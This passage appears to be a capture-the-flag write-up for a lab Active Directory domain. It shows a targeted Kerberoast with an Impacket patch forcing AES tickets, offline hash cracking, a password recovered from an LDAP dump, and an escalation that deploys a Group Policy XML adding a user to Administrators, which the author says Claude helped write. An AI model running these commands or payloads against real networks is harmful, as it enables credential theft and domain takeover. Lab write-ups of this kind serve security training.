<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAn12C5tHbmnKe7Xr4Nbt%2Fgrafik.png?alt=media&amp;token=02a0100a-f0fc-4285-9499-bde4c8fec6fd" alt=""><figcaption></figcaption></figure>

The SPN is set and the KDC found it, but it's rejecting the requested encryption type. By default `GetUserSPNs.py` requests RC4 (etype 23), but the DC or the account's `msDS-SupportedEncryptionTypes` is configured to only allow AES.

{% code overflow="wrap" expandable="true" %}

```
GetUserSPNs.py -k -dc-host DC01.trask.hsm -no-pass -request -usersfile <(echo 'm.mold') trask.hsm/'svc_mmold$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOnXGeqRBkMQXleFLvV03%2Fgrafik.png?alt=media&amp;token=258eda71-4921-460b-9ad4-9f19c868967b" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
The following tool might be worht a try, but could not be used on my machine.\
<https://gitlab.com/Zer1t0/cerbero>
{% endhint %}

To perform a the targetedKerberoast we patch the impacket tooling to support AES.

First we locate the encryption type used for the TGS requests inside Impacket's Kerberos implementation, since it hardcodes RC4 which the target rejects.

{% code overflow="wrap" expandable="true" %}

```
python3 -c "import impacket; print(impacket.__path__[0])"
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
grep -n "rc4_hmac" $(python3 -c "import impacket; print(impacket.__path__[0])")/krb5/kerberosv5.py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FS6HhoCDeQI7CoRuwiqKX%2Fgrafik.png?alt=media&amp;token=14d53c62-1f1c-4f5e-b423-405d73a68bb9" alt=""><figcaption></figcaption></figure>

Make a copy of the file prior to be able to revert the changes.

Lines `183` and `194` handle the TGS-REQ, so we patch both to request `aes256_cts_hmac_sha1_96` instead of `rc4_hmac`, forcing Impacket to negotiate AES.

{% code overflow="wrap" expandable="true" %}

```
sed -i 's/int(constants.EncryptionTypes.rc4_hmac.value)/int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)/g' /root/.pyenv/versions/3.11.11/lib/python3.11/site-packages/impacket/krb5/kerberosv5.py
```

{% endcode %}

We verify that the patch took effect by confirming the AES encryption type is now referenced in the file.

{% code overflow="wrap" expandable="true" %}

```
grep -n "aes256_cts" /root/.pyenv/versions/3.11.11/lib/python3.11/site-packages/impacket/krb5/kerberosv5.py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFuvMD6eGe8KCEM0gM5OA%2Fgrafik.png?alt=media&amp;token=2c1ba51e-49ae-44f9-ba5d-c4a23c3d8154" alt=""><figcaption></figcaption></figure>

With the patched library in place, we run `GetUserSPNs.py` to Kerberoast `svc_mmold$`, and the request now succeeds against the AES-only target. The attack returns an AES256 `$krb5tgs$18$` ticket for `m.mold` that we can attempt to crack offline.

{% code overflow="wrap" expandable="true" %}

```
GetUserSPNs.py -dc-host DC01.trask.hsm -dc-ip 10.0.0.5 -request -k -no-pass 'TRASK.hsm/svc_mmold$'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
$krb5tgs$18$m.mold$TRASK.HSM
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwnZcs3sIuUf0rVNdwRZJ%2Fgrafik.png?alt=media&amp;token=b98f5195-5119-48d1-ae15-2ac5c5b7d8b9" alt=""><figcaption></figcaption></figure>

We crack the hash using Hashcat mode `19700` and recover the plaintext password for `m.mold` using the provided wordlist.

{% code overflow="wrap" expandable="true" %}

```
hashcat -m 19700 -a 0 mmold.hash wordlist.txt --show
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfCAnQv9OG1iUqISfNACq%2Fgrafik.png?alt=media&amp;token=6d0267b9-0b4b-4c26-b731-46a69dfc2bca" alt=""><figcaption></figcaption></figure>

With the credentials in hand, we request a TGT for `m.mold` and export the ccache file.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'trask.hsm/m.mold:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/m.mold.ccache 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrvzwG0r2tCP50PTl1suZ%2Fgrafik.png?alt=media&amp;token=6f85f48b-e004-4040-abc6-87008b3139e8" alt=""><figcaption></figcaption></figure>

We test the credentials against SMB using the cached ticket and confirm we can authenticate as `m.mold`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb  DC01.trask.hsm -k --use-kcache --shares 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzMeXukgNnx48Rpv6eFO3%2Fgrafik.png?alt=media&amp;token=91131ced-5179-441b-b56a-6d01196dd384" alt=""><figcaption></figcaption></figure>

## Shell as b.trask

As `m.mold`, we don't see any other paths for escalation in our Bloodhound data, nor do we find anything using `get writable`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfvZRRAv7SerwCQUvtn9s%2Fgrafik.png?alt=media&amp;token=809d6e13-6ea0-4964-adb6-7c6087f243eb" alt=""><figcaption></figcaption></figure>

Since neither `BloodHound` nor `bloodyAD get writable` surfaced anything useful for `m.mold`, we take a sledgehammer to crack a nut and dump the entire directory with `ldapsearch`, requesting every attribute including operational ones via `+` over an authenticated GSSAPI bind and writing the unwrapped LDIF to a file for offline review.

{% code overflow="wrap" expandable="true" %}

```
ldapsearch -H ldap://DC01.trask.hsm -Y GSSAPI -b "DC=trask,DC=hsm" "(objectClass=*)" "*" "+" -o ldif-wrap=no > ldap-enum-m.mold
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3VFz4bIUZHnl0lK4Evxy%2Fgrafik.png?alt=media&amp;token=0a52773b-e3c6-4b1e-bfa3-0a80ef0269db" alt=""><figcaption></figcaption></figure>

Rather than scrolling through the full dump by hand, we grep the LDIF for any attribute containing "pass" and get lucky: A password-related field called `unixUserPassword` is exposed in the directory data.

{% code overflow="wrap" expandable="true" %}

```
cat ldap-enum-m.mold | grep -i pass 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOqiB3NCTXjWveDaPH2JY%2Fgrafik.png?alt=media&amp;token=e1e36054-03da-433d-b802-10f7e089d22f" alt=""><figcaption></figcaption></figure>

It belongs to the user `b.trask`.

{% code overflow="wrap" expandable="true" %}

```
cat ldap-enum-m.mold | grep -i unixUserPassword -A20 -B20
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbbziPsjFgeNj0cpgVCCK%2Fgrafik.png?alt=media&amp;token=05a65cd5-bc79-4092-b452-c0ae65791588" alt=""><figcaption></figcaption></figure>

It looks like base58 and we can confirm it in Cyberchef and retrieve a password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOnHnGWiN6hN06jMK56Zh%2Fgrafik.png?alt=media&amp;token=067e6f62-905b-4c69-b7f7-ba2380b68a76" alt=""><figcaption></figcaption></figure>

With the credentials in hand, we request a TGT for `b.trask` and export the ccache file.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'trask.hsm/b.trask:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/b.trask.ccache
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcKA9StHg0swNz26VCYmA%2Fgrafik.png?alt=media&amp;token=351aba33-7ba1-4608-a465-4bdf76950de7" alt=""><figcaption></figcaption></figure>

We test the credentials against SMB using the cached ticket and confirm we can authenticate as `b.trask`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb  DC01.trask.hsm -k --use-kcache --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOlPP0Vb65x9O5IYUYc0x%2Fgrafik.png?alt=media&amp;token=b69a7c37-6335-4e27-a9a1-afde83c9c2fe" alt=""><figcaption></figcaption></figure>

We look `b.trask` up in BloodHound and see that the user is a member of the `Legacy Access Continuity` group — the same group `svc_dcsecure_core` belongs to — which in turn grants membership in the `Remote Management Users` group, opening a path to an interactive session on the DC again...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxjAmsy7aEXcbMfPOJuSz%2Fgrafik.png?alt=media&amp;token=8afd01f4-8e6c-4fdf-913f-3faf674f5321" alt=""><figcaption></figcaption></figure>

## Shell as Administrator

Enumeration through Bloodhound, bloodyAD, or LDAP did not yield any direct results.

As `b.trask`, we'll now get a remote management session using evil-winrm.&#x20;

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.trask.hsm -r TRASK.hsm
```

{% endcode %}

We re-run the SentinelSecurity.Client.exe application and we see a new option. We are now able to use the `deploy` command to provide new configuration to available Sentinel Groups.

{% code overflow="wrap" expandable="true" %}

```
.\SentinelSecurity.Client.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
.\SentinelSecurity.Client.exe deploy
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FU8YApO736iRo13nEBG6v%2Fgrafik.png?alt=media&amp;token=ff1bf24c-b068-4cb2-a6cb-7db8c19b1d67" alt=""><figcaption></figcaption></figure>

The deploy command expects a configuration file to be applied to a so called Sentinel Action policy. It seems like test can be performed without applying them directly. The online tag activates the deployed policy.

{% code overflow="wrap" expandable="true" %}

```
.\SentinelSecurity.Client.exe -h deploy
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu9FSXcAWF9jlBauoVCfX%2Fgrafik.png?alt=media&amp;token=b419d720-3456-414f-9b93-8b8da8dacf4e" alt=""><figcaption></figcaption></figure>

We leverage claude to write a gpp to add `b.trask` to Administrators group.

{% code overflow="wrap" expandable="true" %}

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2026-03-10 18:59:00" uid="{A5E3F0B2-1234-5678-9ABC-DEF012345678}">
    <Properties action="U" groupName="Administrators (built-in)" groupSid="S-1-5-32-544" description="">
      <Members>
        <Member name="TRASK\b.trask" action="ADD" sid="" />
      </Members>
    </Properties>
  </Group>
</Groups>
```

{% endcode %}

We upload the configuration...

{% code overflow="wrap" expandable="true" %}

```
 upload trask-admin.xml "C:\Users\b.trask\trask-admin.xml"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWtIkL8vCCJntoq0pMIvP%2Fgrafik.png?alt=media&amp;token=cc69dde6-02e8-4ec6-9626-89b49b374871" alt=""><figcaption></figcaption></figure>

... and test the configuraiton. It seems valid.

{% code overflow="wrap" expandable="true" %}

```
.\SentinelSecurity.Client.exe deploy -c "C:\Users\b.trask\trask-admin.xml"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUpHZ2L9msvSQyZyiZB2l%2Fgrafik.png?alt=media&amp;token=c37ea920-5df9-48ed-a3a7-ad83dbc7bfe3" alt=""><figcaption></figcaption></figure>

Now we re-run the previous command with the `-o` parameter to activate the policy.

{% code overflow="wrap" expandable="true" %}

```
.\SentinelSecurity.Client.exe deploy -c "C:\Users\b.trask\trask-admin.xml" -o
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcMw0TpvYohPpIw1SdZTQ%2Fgrafik.png?alt=media&amp;token=594f2182-e203-467f-8598-6b22c02cdad8" alt=""><figcaption></figcaption></figure>

The user `b.trask` is now member of the local Administrators.

{% code overflow="wrap" expandable="true" %}

```
net user b.trask /domain
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPefkRdSmHyxvKKUIXDRu%2Fgrafik.png?alt=media&amp;token=d712e62b-83ff-413f-88b8-665b38486dc5" alt=""><figcaption></figcaption></figure>

We request a new TGT for `b.trask` and export the ccache file so that the updated group membership is reflected in the ticket's PAC.

{% code overflow="wrap" expandable="true" %}

```
getTGT.py 'trask.hsm/b.trask:REDACTED'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=$(pwd)/b.trask.ccache   
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHORvD5dhQ7LNv9lmvWy9%2Fgrafik.png?alt=media&amp;token=659fec88-7d79-4541-acec-ff4840bda4e9" alt=""><figcaption></figcaption></figure>

We connect via evil-winrm using the cached ticket and, now a member of the `Administrators` group, find the final flag at `C:\Users\Administrator\Desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.trask.hsm -r TRASK.hsm 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFmgyAoXlBKrilU3q6Xzu%2Fgrafik.png?alt=media&amp;token=fe8c8faa-1344-4040-a5cb-8019979df398" alt=""><figcaption></figcaption></figure>
